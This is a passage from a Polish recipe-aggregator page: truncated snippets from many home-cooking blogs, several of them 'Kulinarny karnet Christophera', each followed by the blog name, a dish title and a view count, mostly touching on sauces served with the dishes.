rozgrzewam olej. Ostudzone różyczki kalafiora zanurzam w cieście, pozwalam mu nieco ociec i przekładam do garnka z rozgrzanym olejem. Smażę na rumiano z każdej strony.  Podałem z pysznym sosem czosnkowym - przepis znajdziesz TUTAJ oraz kilkoma frytkami również w cieście pomidorowym lecz tylko do połowy. Smacznego

Mechanik w kuchni
Potrawka ryżowa z soczewicą i dynią w pomidorach 187

roku wykorzystuję dynię częściej aniżeli w tamtym roku. Ostatnio gości przeważnie u mnie w wersji wytrawnej, w postaci dodatku do sosów, zup czy jak teraz potrawki. Jedyny jej minus to obieranie. Niestety najłatwiej jest dostać w sklepach tę odmianę, która wymaga tej czynności. Koniec marudzenia na kwestię skórki dyni i pora przedstawić Wam przepis. Inspiracja pochodzi z bloga Kwestia smaku

Fabryka pomysłów
Placki z kukurydzy z chili i szczypiorkiem 237

drobno , dodajemy do masy wraz z serem . Sprawdzamy konsystencje ew. dosypujemy troszkę mąki .  Smażymy na wolnym ogniu z obu stron na złoty kolor . Możemy podawać z ketchupem lub sosem czosnkowym   tu przepis

Od kuchni czyli o wszystkim po trochę
Bakłażan po sycylijsku 196

razem Przeciśnięty czosnek oraz pokrojoną w cienkie paski paprykę wsypać do całości Wymieszać, podlać wodą (pół szklanki ), doprawić solą i pieprzem, chwile pogotować Ja dodałam jeszcze ciut miodu, wytworzony sos miał wtedy słodko- kwaśny smak. Można podać na małe spotkanie kawalerskie czy panieńskie :) A z ryżem będzie dość sutym, choć bezmięsnym daniem

Proste Potrawy
Zapiekanki z bułeczek z pieczarkami 176

kostkę obsmażyć, dodać pieczarki, podusić. Doprawić solą , pieprzem. Napełnić bułki farszem pieczarkowym, posypać serem. Zapiekać w piekarniku nagrzanym do ok 180 s C przez 10 min. Podawać z dowolnym sosem lub ketchupem. SMACZNEGO

W kuchennym oknie Ewy
Zapiekanka makaronowa z kurczakiem, szpinakiem i grzybami / Chicken, mushroom and spinach pasta bake 472

Dziś przedstawiam pomysł na szybki i pyszny obiad w zabieganym tygodniu. Makaron w sosie pomidorowym z kawałkami kurczaka, szpinakiem i grzybami, zapieczony pod grubą warstwą mozzarelli. Takie połączenie zawsze i wszystkim smakuje. Polecam! Scroll down for recipe in English Zapiekanka makaronowa z kurczakiem, szpinakiem i grzybami (6 porcji) Składniki: 220 g ulubionego makaronu 1 cebula, pokrojona w kostkę 1 łyżeczka

karmelowy
Ekspresowa pizza na tortillach 241

stopni Celcjusza. Żółty ser trzemy na tarce na dużych oczkach. Na placku z tortilli rozsypujemy ser, nakładamy drugi placek. Ketchup mieszamy z koncentratem i dodajemy przyprawy. Tak przygotowany sos rozsmarowujemy na wierzchnim placku. Układamy kawałki szynki oraz plastry pokrojonej mozzarelli. Dodajemy kilka listków bazylii. Pieczemy około 7 minut. Podajemy koniecznie na ciepło z sałatką ułożoną na wierzchu. Smacznego

Kolizje Smaków
Gnocchi 189

należy przetoczyć po widelcu delikatnie ją dociskając paluszkiem. Gnocchi gotujemy w lekko osolonym wrzątku. Kiedy wypłyną na powierzchnię należy je przemieszać i wyłowić (siteczkiem lub łyżką cedzakową). Podajemy z sosem mięsnym lub warzywnym. Przepis na gnocchi znalazłam kiedyś na blogu Cucinissima a przypomniała mi go wczoraj Natalia z bloga Lekcje w kuchni

prawdziwe jedzenie
Bezglutenowe najmniej kaloryczne tortille 504

pierś z kurczaka: 151 kcal/100 g Filet z piersi z kurczaka w panierce: 268 kcal/100g  Grillowany filet z piersi z kurczaka: 123 kcal/100 g  A co z sosem? Najlepiej zrobić na bazie jogurtu naturalnego i np. musztardy. Majonez jest wykluczony, nawet ten light! Łyżka majonezu: 166 kcal! Łyżka majonezu light: 121 kcal! Łyżka jogurtu naturalnego: 15 kcal! Łyżka

Czarnawisienka
Burgery z kaszy jaglanej i marchewek 442

wydawać się zbyt sypkie, ale gdy delikatnie przełożymy je na talerz i chwilkę "odstoją" to stwardnieją. Możemy je podawać jako hamburgery (z bułką i warzywami) lub toples z jakimś sosem jogurtowym. Burgery z kaszy jaglanej i marchewek

Czarnawisienka
Zielony makaron ze szpinakiem i... sałatą! 232

szpinak, sałatę i przeciśnięty czosnek, dodajemy odrobinę soli i pieprz. Smażymy aż warzywa się "skurczą". Przekładamy je do wysokiego naczynia, dodajemy jogurt i blendujemy, ewentualnie doprawiamy. Na makaron układamy sos i posypujemy słonecznikiem. Zielony makaron ze szpinakiem i... sałatą

Czarnawisienka
Burgery z łososia 209

Zapraszam do mojej kuchni na pyszną i zdrową wersję burgerów z łososia. Podane w domowej bułce z sezamem z tego przepisu , pysznym pomidorowym sosem BBQ z śliwką oraz warzywami. Zachęcam do zrobienia w swojej kuchni, są naprawdę bardzo pyszne Post Burgery z łososia pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
18 dań na Światowy Dzień Makaronu 328

Świderki z salami,cukinią i grana padano Tagliatelle z pieczarkami i cukinią z dodatkiem oliwy z białych trufli Tagliatelle z liśćmi szpinaku Tagliatelle z mieloną wieprzowiną i brokułami w sosie z serem pecorino Ziołowe spaghetti z zieloną fasolką szparagową

Moja smaczna kuchnia
Kotleciki łososiowo - ziemniaczane "FUJ - ALE DOBRE!!!" (bezglutenowe) 272

łososiowo - ziemniaczane "FUJ - ALE DOBRE!!!" Powiem krótko: PYCHAAAA!!! Mówiąc dłużej;-) mój M - rodowity Kaszub, Kaszub z krwi i kości, Kaszub w stylu "Kobieto daj mi kotleta schabowego, bulwy z sosem i będę szczęśliwy" stwierdził, że są "NAPRAWDĘ smaczne", więc dla fanów rybich posmaków i zapachów powinny być SUUUUPEEER!!! Dosyć pisania, przejdźmy do działania;-) Składniki: około 1/2 kg ugotowanych ziemniaków - najlepsze

Restauracyjka Literacka
Najszybsza sałatka z tuńczykiem 725

Ekspresowa sałatka, którą można przygotować, gdy niespodziewanie zadzwonią znajomi oznajmiając "za chwilę będziemy":) Składniki: puszka tuńczyka w kawałkach, w sosie własnym puszka kukurydzy puszka groszku konserwowego (ja nie lubię, więc nie dałam) woreczek ryżu majonez wegański lub zwykły natka pietruszki Produkty z puszek odsączamy, ryż gotujemy w lekko osolonej wodzie, natkę siekamy. Łączymy wszystkie składniki, dodajemy majonez. Smacznego

chwile dla mnie
Zrazy ze schabu tradycyjne 265

Zrazy zawijane robię w kilku wersjach. Duszone w sosie z dużą ilością cebuli, grzybami, smarowane musztardą z całymi ziarnami gorczycy lub gładką. Zmieniają się też użyte przyprawy - raz jest majeranek innym razem nie itd. Wszystkie są bardzo smaczne. Ten przepis jest na najbardziej tradycyjną odmianę. Czytaj więcej

Buniabaje w kuchni
Do chleba. Klops wieprzowy z cydrem i leśną nutą 276

doprawiony grzybami, rozmarynem, cebulą i cydrem. Jako dodatek do kanapek jest naprawdę świetny. Taka pieczeń sprawdzi się także na gorąco - wystarczy podgrzać, ukroić grubsze plastry i zrobić jakiś prosty sos a na pewno będzie pysznie. Ze zmielonej wieprzowiny można zrobić też domową mielonkę albo łopatkę prasowaną - są dużo smaczniejsze niż kupne wędliny. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Najlepsze ciasto na Pizze 271

minut. Uformować kulę i pozostawić pod przykryciem w ciepłym miejscu przez ok 2 godziny. Gdy ciasto wyrośnie podzielić na pół, uformować palcami lub rozwałkować na cienki placek. Nałożyć sos pomidorowy oraz ulubione składniki. Pizza powinna piec się w piekarniku nagrzanym do 210°C przez 20-25 min. Smacznego

Złote przepisy
Pierś z warzywami 410

zawekowałam w słoiczki..Taki słoiczek wystarczy otworzyć, podgrzać..ugotować ryż i danie gotowe. 1-2 piersi z kurczaka przyprawa do kurczaka Knorr 1 paczka mieszanki warzyw po chińsku  sos Salsa Mexicana Develey listek, ziele sól do smaku  olej do duszenia  Piersi umyć, pokroić w kawałki małe, wymieszać z przyprawą i odstawić do lodówki.Następnie wyłożyć na rozgrzany

Moje domowe kucharzenie
Ziemniaczki na hiszpańską nutę. 233

grillować na patelni. Na każda połówkę ziemniaka położyć kawałek sera, następnie paprykę i oliwkę. Łączymy wykałaczką i opiekamy w piekarniku w temp.200stop.,aż ser zacznie się topić. Możemy podać sos czosnkowy lub ajwar. PS. Jeżeli zaserwujemy jeszcze kawałek mięska i miskę sałaty to mamy elegancki obiadek

Kulinarny karnet Christophera
Kapuściany pasztet. 171

liśćmi lub przykryć innymi jeszcze pozostawionymi. Piec w kąpieli wodnej w temp 150 stop. 45min. P.S. Jeżeli rozkoszy z jedzenia samego pasztetu będzie mało, to można wzbogacić ją  sosem z orzechami włoskimi

Kulinarny karnet Christophera
Świąteczna choinka na stół. 199

Miła dla oka i przyjazna dla języka. Obok koniecznie nasz ulubiony sos,ale wystarczy śmietana z solą lub cukrem. Ustawienie choinki nie jest tak uciążliwe jak 3-metrowej jodły. W połówkę jabłka wbijamy patyczek i nabijamy ukośne plastry ogórka.Gałązki rozkładamy i ewentualnie ozdabiamy. Zdrowia i dużo radości życzę:) P.s. Pomysł przesłała mi Ewa z Anglii

Kulinarny karnet Christophera
Verrines. 176

szynki konserwowej    plasterki selera naciowego +sok z cytryny +sól, pieprz    paski pomidorów suszonych    łyżeczka kawioru czerwonego    plasterek cytryny lub łyżeczka  sosu czosnkowego. 2.Układamy w górę warstwami:.    łyżka twarożku zmieszana z bazylią i zielonym ogórkiem    plasterki łososia posypane koperkiem    cząstki limonki, pieprz młotkowany.   3.Uk

Kulinarny karnet Christophera
Stek z polędwicy z grilla – średnio wysmażony. 187

patelnię czerwonym winem. Zdeglasować – czyli wlać niewielką ilość płynu ( w naszym przypadku wina), po zdjęciu z patelni steków. Chodzi o odzyskanie przypalonych cząstek mięsa i aromatów w celu uzyskania sosu. O czym należy pamiętać: 1.Polędwicę solimy dopiero po usmażeniu. 2. Steki z polędwicy powinno się obracać tylko raz na drugą stronę podczas smażenia. 3.Polędwica średnio wysmażona po przekrojeniu

Kulinarny karnet Christophera
Jaja 100-letnie. 216

podaję sposób na przygotowanie takich pikantnych jaj ekspresowo, wystarczy doba, dwie. 4 jajka, 2 łyżki czarnej liściastej herbaty, 1 gwiazdka anyżu utarta w moździerzu, 2 łyżki sosu sojowego, 1 łyżeczka pieprzu czarnego, zmielonego, 3 ziarna ziela angielskiego, kilka ziaren kolendry. Jaja zalać zimną wodą,doprowadzić do wrzenia,zmniejszyć ogień i gotować 10 min. Wyjąć,łyżką lub trzonkiem noża nadtłuc skorupki

Kulinarny karnet Christophera
Sałatka z tuńczyka , kukurydzy i pomidorów. 347

pomidor 1 łyżka aceto balsamico 1 łyżka oliwki 1 łyżka bazylii sól,pieprz Tuńczyka i kukurydzę osączyć. Pomidor pokroić w pół talarki. Wszystko ułożyć na talerzu. Składniki sosu wymieszać i polać sałatkę

Kulinarny karnet Christophera
Stek z rekina. 181

lekko mąką . Na każdym filecie położyć listek limonki lub skropić sokiem . Smażyć na oleju z masłem po 5-7 min z każdej strony. Czas smażenia zależy od grubości steku. Sos norweski do ryb. 150 ml kremówki 100 g masła 1 łyżeczka soku z limonki lub cytryny sól, pieprz do smaku natka pietruszki Śmietankę gotować , aż trochę zgęstnieje ,dodać masło ,rozpuścić

Kulinarny karnet Christophera
Mielone z cukinii i ziemniaków - placuszki. 237

przełożyć do miski, dodać przesmażoną cebulę, jajka ,mąkę, koperek, przyprawy. Wszystko wymieszać. Formować małe kulki, rozpłaszczyć  i smażyć  na gorącym oleju z obu stron. Doskonale smakują z sosem czosnkowym

Kulinarny karnet Christophera
Figa z makiem,ach przepraszam z czarnym sezamem. 182

liści sałaty 1-2 łyżki klasycznego Crema Aceto Balsamico di Modena" Figi ,pomidory i mozzarellę kroimy w plastry .Układamy dachówkowato na liściach sałaty ,posypujemy suto sezamem i polewamy gotowym sosem-Crema Aceto Balsamico di Modena. Sałatka ekspresowa i wystrzałowa smakowo .Polecam

Kulinarny karnet Christophera
Mielone z leśnymi grzybami w keksówce. 199

Dodać jajka, śmietanę, przyprawy. Wymieszać, dodać przygotowane grzyby. Masę włożyć do keksówki i piec około 1 godziny w temp. 180oC. Tak upieczoną pieczeń, można podawać na gorąco z dodatkiem sosu i na zimno np. z ogórkiem kiszonym

Kulinarny karnet Christophera
Jego Wysokość Kabaczek. 225

wapń ,fosfor ,żelazo ,karoteny witaminy B i C .Wniosek :kabaczek to warzywo zdrowe ,nie tuczy i w dodatku tanie. Jego Wysokość ,jako osobnik łagodny ,lubi zdecydowane ,ostre przyprawy i sosy ,ale najważniejszą przyprawą może być odrobina fantazji. Można przygotować proste dania codzienne ,a także trudniejsze , bardzo oryginalne ,a nawet wyrafinowane .Zachęcam do zabawy i eksperymentowania z tym wdzięcznym warzywem . Kabaczek

Kulinarny karnet Christophera
Małe przyjemności - Przystawki z kabaczkiem. 234

Ostudzić. Plastry szynki przesmażyć na oleju. Ostudzić. Ser feta utrzeć z tuńczykiem ,dodać pieprzu do smaku. Plaster (miseczkę)kabaczka wyłożyć szynką szwarcwaldzką i wypełnić farszem serowym. Podawać z keczupem ,sosem pomidorowym

Kulinarny karnet Christophera
Kurczak po turecku z ryżem. 259

owocowej słodkości ,serwuję kontrastowy smakowo ryż z kiszonym ogórkiem . Duet naprawdę interesujący . Ryż z ogórkiem kiszonym. 1 szklanka ryżu   1-2 ogórki kiszone 1 łyżka oleju 1 łyżka sosu sojowego lub maggi 1 łyżeczka curry sól, pieprz Ryż ugotować na sypko .Przepłukać ,osączyć ,wsypać na patelnię z  rozgrzanym olejem ,dodać wszystkie przyprawy i drobno posiekane ogórki .Dobrze wymieszać

Kulinarny karnet Christophera
Kaczka z persymoną, 174

masła klarowanego dodać 1 łyżkę marynaty w stylu chińskim i przesmażyć z obu stron plastry persymony , które na końcu posypać pieprzem kajeńskim. Udka serwować ze smażoną persymoną i chińskim sosem śliwkowym

Kulinarny karnet Christophera
Rozmarynowy łosoś z cieciorką. 214

usunąć pestki i pokroić na małe kawałki. Na rozgrzanej oliwie przesmażyć posiekane chilli, cebulę i zmiażdżony czosnek, mieszać, aż wszystko zmięknie .Dodać pomidory ,wlać wino i wszystko gotować ,aż sos będzie rozgotowany i gęsty. Następnie dodać opłukaną ciecierzycę, posiekane oregano, pietruszkę i wymieszać. Przyprawić solą i pieprzem do smaku. Łososia pokroić na małe prostokąty ,nabić na gałązki rozmarynu i upiec

Kulinarny karnet Christophera
Chrupiący makaron - Paccheri. 210

Mięso, ser i pozostałe składniki wymieszać. Powstałą masą nadziewać makaron. Panierować w bułce, jajku, bułce. Smażyć we frytkownicy ew. na patelni na dobrze rozgrzanym oleju. Bardzo dobrze smakuje z sosem czosnkowym

Kulinarny karnet Christophera
Comber z sarny po kapitańsku. 172

rozgrzanym tłuszczu ,skropić winem i dusić na małym ogniu pod przykryciem. Pod koniec duszenia dodać sparzone rodzynki i śliwki. Miękkie mięso pokroić  na porcje ,ukośnie, w poprzek włókien . Sos połączyć ze śmietaną wymieszaną z mąką

Kulinarny karnet Christophera
Rolowana polędwica wieprzowa. 200

lodówki ( schłodzić), a następnie pokroić w plastry. Pokrojoną w plastry polędwicę nabić  po 2 kawałki na patyki i smażyć z obu stron na oleju. Dobrze smakuje z sosem guacamole

Kulinarny karnet Christophera
Hinduski szaszłyk. 373

szaszłyków i grillować w piekarniku 20 -25 minut. Oczywiście możemy to zrobić na węglowym grillu, ostatecznie na patelni grillowej.  Pozostała część przygotowanej marynaty, ( pasty) wykorzystać  jako sos. Z czym podamy szaszłyki zależy od nas. Można jeść z ryżem, bagietką, tostem. Ja miałem akurat ochotę na chiński przesmażony makaron

Kulinarny karnet Christophera
Małe calzone. 270

połówki oliwek ,posypać startą mozzarellą. Ciasto  złożyć na połowę i dokładnie skleić. Wierzch calzone posmarować białkiem i posypać suszonym oregano. Piec w temp.220stop.przez 15 min. Możemy podać z sosem czosnkowym, jogurtowym-ziołowym. Na ciasto do calzone możecie wykorzystać swój sprawdzony przepis na cienką pizzę

Kulinarny karnet Christophera
Śledzik , wtorek 4 -go marca. 261

zwinąć w ruloniki. Plasterki jabłek skropić cytryną i ułożyć na nich ruloniki śledziowe. Śmietanę kremową ubić, dodać kwaśną śmietanę, cytrynę, sól, pieprz kajeński i cukier do smaku. Sosem przykryć śledzie i położyć truskawki lub konfiturę z żurawin. Śledź opiekany. Składniki: 1 kg śledź świeży 2 cebule pokrojone w piórka 1 szk. ocet spirytusowy  6% 2 szklanki wody 2 liście

Kulinarny karnet Christophera
Savarinki. 224

Dzisiaj proponuję jej miniaturki czyli savarinki. Z braku małych foremek z kominkiem pieczemy w innych i układamy śmietanę i owoce na wierzchu. Babkę można podać na ciepło z gorącym sosem owocowym i owocami z syropu. Savarinki - składniki na 7-8 sztuk. 180g mąki pszennej 10g drożdży 1/2 szklanki mleka 30 dag cukru 1 laska wanilii 2 jajka 80g masła stopionego

Kulinarny karnet Christophera
Ryba po włosku. 208

wymieszać ze spaghetti i skropić sosem.Za pomocą widelca zwinąć roladki. Na talerzu ułożyć warzywa z szalotką i pomidorkami ,na nich rybę i na wierzchu kolorowe roladki. Całość polać resztą sosu. Smacznego

Kulinarny karnet Christophera
Kwitnące jajeczka. 164

nałożyć recepturki. Zostawić na 1h lub więcej ,aby uformowały się płatki kwiatka-wgłębienia w białku. Jajko przekroić na połówki lub na plasterki. Ułożyć w kieliszkach lub dekoracyjnie na sałacie, sosach majonezowych

Kulinarny karnet Christophera
Tarta z czarną soczewicą i marchewką. 194

pośrodku soczewicę. Jajka roztrzepać z jogurtem i doprawić solą, pieprzem i kminkiem. Mieszaniną jajeczno jogurtową zalać marchew i soczewicę. Tartę piec w 200 stop. około 20 minut. Podaję z sosem jogurt+ curry. Można jeszcze inaczej. Przygotowaną marchewkę i soczewicę rozłożyć w naczyniu do zapiekania, doprawić, zalać mieszaniną jajeczno - jogurtowa i zapiec  15 minut w piekarniku. Wyjdzie nam delikatny omlet

Kulinarny karnet Christophera
Bakłażan marynowany w chermouli 174

Eggplant marinated  in Moroccan chermouli. Chermoula to ostra marokańska  przyprawa używana do jarzyn. Można ją użyć do marynat lub jako sosu do jarzyn surowych i gotowanych. Składniki.  1 bakłażan sól oliwa z oliwek Chermoula. 1 łyżka kminku 1 łyżeczka cynamonu 1 łyżeczka ziela ang. mielonego 1/4 łyżeczki pieprzu cayenne 2 ząbki czosnku rozgniecione 3 łyżki soku

Kulinarny karnet Christophera
Szparagi uczta smakosza. 281

przyprawić. Usmażyć z obu stron na patelni grillowej. Na każdym plastrze rozłożyć szparagi, zwinąć i ułożyć w naczyniu do zapiekania. Z masła, mąki, mleka i wywaru ze szparagów, zrobić sos podobny do beszamelowego, polać nim szparagi, posypać startą mozzarellą i zapiec w piekarniku pod grillem około 10 minut. Dodałem do naczynia do zapiekania ugotowane młode ziemniaki, posypane koperkiem i kilka

Kulinarny karnet Christophera
Rolada mięsna z kaszanką i fetą na zimno i ciepło. 231

rulon, związać nicią kucharską i piec w temperaturze 190 oC  1 godzinę. Wyjąć  z pieca i po 10 minutach pokroić w plastry i podać np. z sosem z kurek. Jeżeli podajemy na zimno. Po wyjęciu z pieca pozostawić do całkowitego wystudzenia. Najlepiej na całą

Kulinarny karnet Christophera
Tort naleśnikowy. 456

czosnku drobno pokrojone 1 marchewki starte na tarce 1 pietruszka starta na tarce 1 puszka pomidorów pellati pokrojonych ½ szklanki bulionu ½ łyżeczki tymianku i bazylii 1 łyżeczka oregano 1 łyżka sosu chilli Sól, pieprz, cukier do smaku Masło i olej do smażenia 10 dag ser żółty Farsz ze szpinaku. 25 dag szpinak  w liściach 2 ząbki obranego i posiekanego czosnku

Kulinarny karnet Christophera
Bądźmy modni, jedzmy jarmuż! 342

skorzystałem z tego .Poniżej kilka  pomysłów na smażony jarmuż, który robi się błyskawicznie. Olej sprawia, że witaminy na pewno dotrą do naszego organizmu i nie potrzebny już żaden sos. Bardzo lubię chipsy. Robi się je błyskawicznie i zjada równie szybko. Chipsy z jarmużu. Oberwać liście z łodyg ,wyciąć grubsze nerwy i smażyć kilkanaście sekund w gorącym oleju . Osuszyć

Kulinarny karnet Christophera
Sernik z tuńczykiem i pomidorami. 232

masę serowo-tuńczykową Wstawić do lodówki do stężenia. Wierzch przybrać oliwkami i listkami bazylii. Smaczny wytrawny sernik to idealna przekąska, przystawka czy nawet danie główne. Dorze smakuje z gęstym sosem balsamicznym

Kulinarny karnet Christophera
"Vol-au-vent" z ziemniaków i pieczarek 295

maśle z dodatkiem oleju, dodać pokrojone w cząstki pieczarki, posolić, oprószyć  pieprzem, chwilę smażyć, podlać białym wytrawnym winem, zredukować i dodać śmietanę. Pieczarki dusić do czasu zgęstnienia sosu. Do gniazdek rozłożyć pieczarki na taką wysokość, żeby zmieściło się małe jajko. Zapiec pod grillem około 10 minut, następnie  wybić jajka ze skorupek i położyć na pieczarkach i zapiekać jeszcze

Kulinarny karnet Christophera
Carpaccio czy sałatka ? 238

Carpaccio or salad? Podaję tą prostą sałatkę bez polania sosem winegret. Dobór składników do polania, pozostawiam do wyboru. Poniżej cztery możliwości, ale zapewniam, kombinacji jest dużo więcej. Składniki 1 mały ogórek 1 pomidor 1 świeża figa 1 płatek  karamboli Winegret 1. miód, czerwony ocet winny, sok z cytryny, oliwa z oliwek, sól, pieprz 2. cytryna, musztarda, oliwa z oliwek

Kulinarny karnet Christophera
Rolada z ziemniaków z kaszą gryczaną 353

Wierzch i boki posmarować jajkiem i posypać bułką tartą. Włożyć do podłużnej foremki i zapiekać w temp.200 stop.30 minut, aż się ładnie zarumieni. Podawać po 5-ciu minutach z sosem pieczarkowym. Robiąc to danie nawet nie myślałem, że będzie tak wyśmienite i nie pragnąłem mięska

Kulinarny karnet Christophera
Ślimaki z ciasta filo z dynią i szpinakiem 273

posyp sezamem. Wstaw do piekarnika i piecz przez ok. 30 min, aż staną się rumiane, a ciasto chrupiące. Upieczone ślimaki chwilę przestudź i podawaj. Dobrze komponują się z sosem pomidorowym lub dipem z pieczonych pomidorów . Przepis dodaję do Festiwalu Dyni zorganizowanym na blogu Bei: *** Podoba Ci się ten wpis? Śledź moją stronę na  Facebooku  lub  Google

Chilli Czosnek i Oliwa
Tuńczyk z cytryną i szałwią! 284

patelni i ułóż na posiekanych ziołach z datkiem soku z limetki i soli.  Ryż ugotuj zgodnie z instrukcja na opakowaniu i podaj do ryby np. z sałatą z sosem miodowo-cytrynowym

SMYKWKUCHNI
Hot wings. Pikantne skrzydełka a'la KFC 8724

wypala wnętrzności. Jest też odpowiednio chrupiąca a mięso delikatne. Jeśli lubicie tego typu jedzenie to na pewno będą Wam smakowały. Do skrzydełek można zrobić jeszcze domowe frytki i sos czosnkowy i będzie zupełnie jak w restauracji. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Sałatka ziemniaczano-brokułowa 497

osolonej wodzie a następnie kroimy w kostkę razem z ogórkiem. Szczypiorek siekamy i wszystko przekładamy do salaterki, dodajemy kukurydzę i mieszamy. Z musztardy, oliwy, soli i pieprzu przygotowujemy sos, którym polewamy całość

Zainspirowana w kuchni
Sałatka z brokułami, fetą i prażonymi migdałami 1761

dnie naczynia (najlepiej przezroczystego) układamy ugotowane na parze brokuły, na nie rozkruszamy ser feta. W miseczce mieszamy drobno posiekane ząbki czosnku oraz koperek, doprawiamy solą i pieprzem. Powstałym sosem czosnkowym polewamy składniki w naczyniu. Na średnim ogniu i suchej patelni prażmy migdały aż osiągną piękny złoty (lekko brązowy) kolor. Kiedy migdały ostygną, posypujemy nimi sałatkę, najlepiej tuż przed podaniem

Mango Papaja
Krewetki w gorącej oliwie z chilli 436

które szybko się rozpuści. Całość posypujemy świeżą, posiekaną kolendrą. Krewetki podajemy z bagietką. Do tłuszczu pozostałego na patelni możemy dodać pół kieliszka białego wytrawnego wina i zredukować na dodatkowy sos do krewetek

OstryKęs
Sałatka z indyka z brzoskwinią 232

naciowego majonez jogurt naturalny sól, pieprz, curry WYKONANIE Składniki sałatki typu jajka, wędlina, brzoskwinie, ser kroimy w drobną kostkę, Dodajemy, ryż, kukurydzę, seler osączony z zalewy i pokrojony.  Sos w proporcji 3 łyżki majonezu 2 jogurtu mieszamy, dodajemy odrobinę soli pieprzu, łyżeczkę curry. Mieszamy Gotowe. SMACZNEGO

W kuchennym oknie Ewy
Sałatka makaronowa z brokułem i kurczakiem 1322

Sałatki są dobre zawsze, wystarczy kilka składników, lekki sos i możemy zajadać. Idealnie sprawdzają się na imprezach domowych czy nawet w pojemnik i do zabrania ze sobą do pracy, szkoły. Moja dzisiejsza propozycja to coś z mięskiem i warzywami, a całość z dobrym makaronem - więc syta będzie na pewno. Spróbujcie koniecznie! Smacznego!  Składniki : * pół brokuła * pierś z kurczaka * ulubione

Magiczne Życie Marty
Spaghetti Bolognese 208

Wychodzi 5 porcji po 70 g makaronu 100 g mięsa 100 g sosu Przygotowanie : CZYTAJ DALEJj

Sylwetka Od Kuchni
Karkówka 213

trakcie duszenia dolewamy tylko zimnej wody tak aby mięso się nie przypaliło. Mięso dusimy ok. 1,5-2 godziny. Po godzinie dodajemy poszatkowane cebule i czosnek oraz przyprawy. Sos z mięsa będzie pod koniec duszenia w miarę gesty ale zawsze możemy dodać jeszcze mielonej papryki lub gałki muszkatołowej

prawdziwe jedzenie
Domowe nachosy, czyli jak nie dać się chipsom 231

nożem trójkąty, następnie smażyć na patelni bez tłuszczu, z dwóch stron aż będą chrupiące Porcja 100g to miseczka z poniższego zdjęcia Nachosy możemy chrupać same lub podawać z domowym sosem czosnkowym. Do jego przygotowania potrzebujemy 100g jogurtu greckiego(ja używam tego firmy Piątnica), ząbek czosnku, dodatkowo czosnek granulowany, pieprz, sól oraz zioła prowansalskie. Ząbek czosnku przeciskamy przez praskę i dodajemy

peanutbuttermonster
Sałatka awaryjna, czyli ukochany tuńczyk w kolejnej odsłonie 727

mniejsze. Całość to około 580kcal w tym 43g białka , 22g tłuszczu (10g to oliwa z oliwek) i 19g węglowodanów . SKŁADNIKI: 130g kukurydzy konserwowej bez dodatku cukru 130g tuńczyka w sosie własnym(po odsączeniu) 2 małe, gotowane jajka(u mnie 95g) 3 średniej wielkości ogórki kiszone(około 120g) 20g cebuli łyżka oliwy z oliwek(10g) sól pieprz PRZYGOTOWANIE: Do miski wsypać

peanutbuttermonster
Ziołowa sałatka z tuńczykiem i białą fasolą 520

mnie zdarza się zdecydowanie najczęściej. Dzisiejsza sałatka to 317kcal w tym 36,8g białka , 6,5g tłuszczu , 24g węglowodanów i 9,3g błonnika . SKŁADNIKI: 120g tuńczyka w sosie własnym- po odsączeniu 70g białej fasoli konserwowej 70g kukurydzy 120g ogórka świeżego 35g cebuli 10g mieszanki ziaren Euforia koperek świeży lub suszony estragon oregano pieprz sól natka pietruszki PRZYGOTOWANIE: Ogórka obrać

peanutbuttermonster
Bezglutenowa pizza na pomidorowym cieście - ananas, banan, kurczak 264

smaku  solą, cukrem, pieprzem i papryką. Wyrośnięte ciasto wstawić do nagrzanego piekarnika i piec około 15-20 minut (powinno być jeszcze blade). Na wierzch nałożyć kurczaka z sosem pomidorowym, posypać startą na wiórki mozarellą  lub żółtym serem. Zapiekać jeszcze 5-10 minut. Dla alergika uczulonego na mleko przygotowałam wersję bez serowej posypki - też smakuje wyśmienicie: Zapraszam do zakładki

głodny alergik
Sałatka śledziowa "Przysmak Gajowego" (bez glutenu, mleka, jajek) 219

occie) ser zółty (np. edam) - niekoniecznie kawałek 200 g pieprz kolorowy pół łyżeczki ziele angielskie kilka ziaren jałowiec kilka ziaren (właściwie szyszkojagód ;) gałka muszkatołowa, kolendra pół łyżeczki Do zrobienia sosu możemy użyć różnych składników - w zależności od tego na co pozwala nam dieta: wersja bezglutenowa: jogurt grecki 400 ml majonez bezglutenowy 200 ml wersja bezjajeczna: jogurt grecki 400 ml majonez

głodny alergik
Smarowidło gruszkowo - jabłkowe 189

ścieka. Używamy go zamiast dżemu - do smarowania pieczywa, naleśników i placków. Dzieci je uwielbiają. :) Smarowidło może mieć również wiele innych zastosowań w kuchni, np.:  dodane do ciemnych sosów pieczeniowych, podkreśla kolor i wzbogaca ich smak,  poprawia smak i konsystencję bezglutenowych ciast, wspaniale nadaje się do piernika - kilka łyżeczek można dodać  podczas wyrabianego ciasta, dodaję je również

głodny alergik
Gulasz grzybowy z kaszą gryczaną (bez glutenu, mleka i jajek) 201

garnka, dodać pokrojone na kawałki jabłka i przyprawy, gotować aż mięso będzie miękkie - najlepiej w szybkowarze. Skrobię (lub mąkę) rozprowadzić w kilku łyżkach zimnej wody, dolać do sosu i gotować chwilę aż zgęstnieje. Kaszę gryczaną ugotować na sypko z dodatkiem szczypty majeranku - świetnie podkreśla jej smak

głodny alergik
Pieczona pierś z indyka z tymiankiem i jałowcem 305

wstawić do nagrzanego do 220 stopni piekarnika. Piec pod przykryciem 1,5 godziny, następnie przykrywkę zdjąć i piec jeszcze około 20-30 minut w temperaturze 180 stopni, polewając kilkakrotnie sosem z pieczenia. Kroić po wystudzeniu

głodny alergik
Najlepsze sushi - futomaki z melonem 266

Dodajemy wasabi (dzieci wolą bez ;).  Rolkę zwijamy dosyć ciasno, rozpoczynając od boku wypełnionego ryżem, w kierunku boku pustego. Kroimy na plastry około 1,5 - 2 cm. Podajemy z sosem sojowym - my używamy bezglutenowego np. Tamari

głodny alergik
Tradycyjny bigos myśliwski 412

resztę przypraw, solimy i dusimy na małym ogniu około 2 godz. Na koniec dodajemy śliwki, koncentrat pomidorowy, przeciśnięty przez praskę czosnek i pokrojone na kawałki pieczone mięso. Jeśli dysponujemy sosem z pieczeni, możemy również dodać. Gotujemy na bardzo małym ogniu, od czasu do czasu mieszając (po dodaniu śliwek i koncentratu ma większe tendencje do przypalania). Najlepsze efekty osiągniemy doprowadzając bigos

głodny alergik
Placki cukiniowo-ziemniaczne 248

